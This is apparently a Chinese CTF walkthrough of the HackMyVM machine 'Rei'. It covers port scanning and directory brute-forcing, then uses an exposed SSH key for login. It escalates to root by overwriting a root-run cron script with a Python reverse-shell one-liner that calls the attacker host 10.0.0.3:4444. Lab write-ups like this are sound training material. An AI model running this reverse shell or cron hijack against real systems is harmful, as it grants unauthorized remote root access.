靶机信息
下载地址:
https://hackmyvm.eu/machines/machine.php?vm=Rei
网盘链接:https://pan.baidu.com/s/1MYO7cEOg2xou1FrC40v6qg?pwd=ja7r
靶场: HackMyVm.eu
靶机名称: Rei
难度: 简单
发布时间: 2022年3月30日
提示信息:
这台靶机有点问题,经常卡死。
目标: user.txt和root.txt
实验环境
攻击机:VMware kali 10.0.0.3 eth0桥接互联网,eth1桥接vbox-Host-Only
靶机:Vbox linux IP自动获取 网卡host-Only
信息收集
扫描主机
扫描局域网内的靶机IP地址
sudo nmap -sP 10.0.0.1/24
扫描到主机地址为10.0.0.127
扫描端口
扫描靶机开放的服务端口
sudo nmap -sC -sV -p- 10.0.0.127 -oN nmap.log
扫描到2个开放端口,其中63777为HTTP服务、65333为SSH服务,先来看看63777端口
Web渗透
http://10.0.0.127:63777
访问后是一个静态页面,先做个目录扫描
gobuster dir -w ../../Dict/SecLists-2022.1/Discovery/Web-Content/big.txt -u http://10.0.0.127:63777 -x php,txt,html,zip
扫描到robots.txt,检查下内容
curl http://10.0.0.127:63777/robots.txt
没用的信息,找不到可利用的信息了,再重新来一遍
在网点根目录发现一段提示,说是有一个名为indexp的文本,验证一下
curl http://10.0.0.127:63777/indexp
没有,加上扩展名试试
curl http://10.0.0.127:63777/indexp.txt
这里有几个url,每个都访问看看内容
http://10.0.0.127:63777/gichin/
http://10.0.0.127:63777/gichin/your-button/
其他url访问都是404,只有这两个是403,对这两个url做个目录扫描
gobuster dir -w ../../Dict/SecLists-2022.1/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.0.0.127:63777/gichin/your-button/ -x php,txt,html,zip
扫到两个url,访问看看
http://10.0.0.127:63777/gichin/your-button/note.html
源码的最下方有一个链接,先来看看这个链接
http://10.0.0.127:63777/gichin/your-button/chuck-norris.html
出现个提示Balance is key
源码中也有提示chuck-norris(查克·诺里斯是功夫巨星)估计这个才是用户账号,再来看看ssh目录
http://10.0.0.127:63777/gichin/your-button/ssh/
报错403,对这个url做目录扫描
gobuster dir -w ../../Dict/SecLists-2022.1/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.0.0.127:63777/gichin/your-button/ssh -x ,php,txt,html,zip
扫描到rsa,继续访问
http://10.0.0.127:63777/gichin/your-button/ssh/rsa
文件可以下载,下载下来查看内容
wget http://10.0.0.127:63777/gichin/your-button/ssh/rsa
cat rsa
拿到key,用chuck-norris测试下,登录ssh验证下
chmod 600 rsa
ssh [email protected]
想到之前还有一个提示,Balance is key再试一下
ssh [email protected] -i id_rsa -p 65333
登录成功,收集下敏感信息
id
ls
cat user.txt
which cat
命令都被改了,试试加上路径执行
/usr/bin/cat user.txt
拿到user.txt,找不到sudo命令,上传辅助脚本检查
1。攻击机在脚本目录下开启HTTP服务
python3 -m http.server
2。靶机下载linpeas.sh并执行
wget http://10.0.0.3:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
未发现可利用信息,再上传个pspy64检查后台是否有程序运行
wget http://10.0.0.3:8000/pspy64
chmod +x pspy64
./pspy64
发现/lost+found/sakugawa-kanga.sh脚本以root用户身份在后台每分钟运行1次,来看下脚本内容
/usr/bin/cat /lost+found/sakugawa-kanga.sh
再看下文件权限
ls -al /lost+found/sakugawa-kanga.sh
修改文件为反弹shell
vi /lost+found/sakugawa-kanga.sh
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.3",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
攻击机监听4444端口,并等待1分钟内反向连接
nc -lvvp 4444
反弹成功,拿到root权限 ,找一下flag
cd /root
ls
cat root.txt
这是要找 一个隐藏文件?
find / -name ".*aritrini" -print
找到隐藏文件,查看文件内容
cat /mnt/.maritrini
拿到rootflag,游戏结束。
原文始发于微信公众号(伏波路上学安全):渗透测试练习No.69 HackMyVm Rei
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论